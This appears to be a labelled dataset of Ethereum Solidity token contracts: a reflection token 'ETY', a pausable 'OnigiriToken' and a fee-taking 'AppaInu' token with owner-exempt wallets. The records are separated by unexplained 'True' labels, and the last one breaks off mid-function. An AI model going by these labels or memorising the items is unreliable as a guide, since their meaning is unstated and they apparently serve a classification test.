private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\REFLECT.sol /* * Copyright 2020 reflect.finance. ALL RIGHTS RESERVED. */ pragma solidity ^0.6.2; contract ETY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 14 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Excite.Yield'; string private _symbol = 'ETY'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(7); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title OnigiriToken * @dev OnigiriToken is an ERC20 implementation of the Onigiri ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract OnigiriToken is Ownable, ERC20Pausable { string public constant name = "OnigiriToken"; string public constant symbol = "ONIGIRI"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 240000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-25 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = _msgSender(); emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } // pragma solidity >=0.5.0; interface IUniswapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function factory() external view returns (address); } // pragma solidity >=0.6.2; interface IUniswapRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AppaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Appa Inu"; string private _symbol = "Appa"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 9; //(3% liquidityAddition + 6% marketing ) uint256 private _previousLiquidityFee = _liquidityFee; //No limit uint256 public _maxTxAmount = _tTotal; address payable wallet; address payable wallet2; IUniswapRouter02 public uniswapRouter; address public uniswapPair; address private constant burnAddress = 0x000000000000000000000000000000000000dEaD; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool private launched = false; uint256 private minTokensBeforeSwap = 8; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; wallet = payable(0x02bf38B6A31411DA5D8cdb27515b6aD342F82c84); wallet2 = payable(0x5fBD279dde87Ff726eb0d7c5430B46cFc6F39aCf); IUniswapRouter02 _uniswapV2Router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapFactory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapRouter = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[wallet] = true; _isExcludedFromFee[wallet2] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function 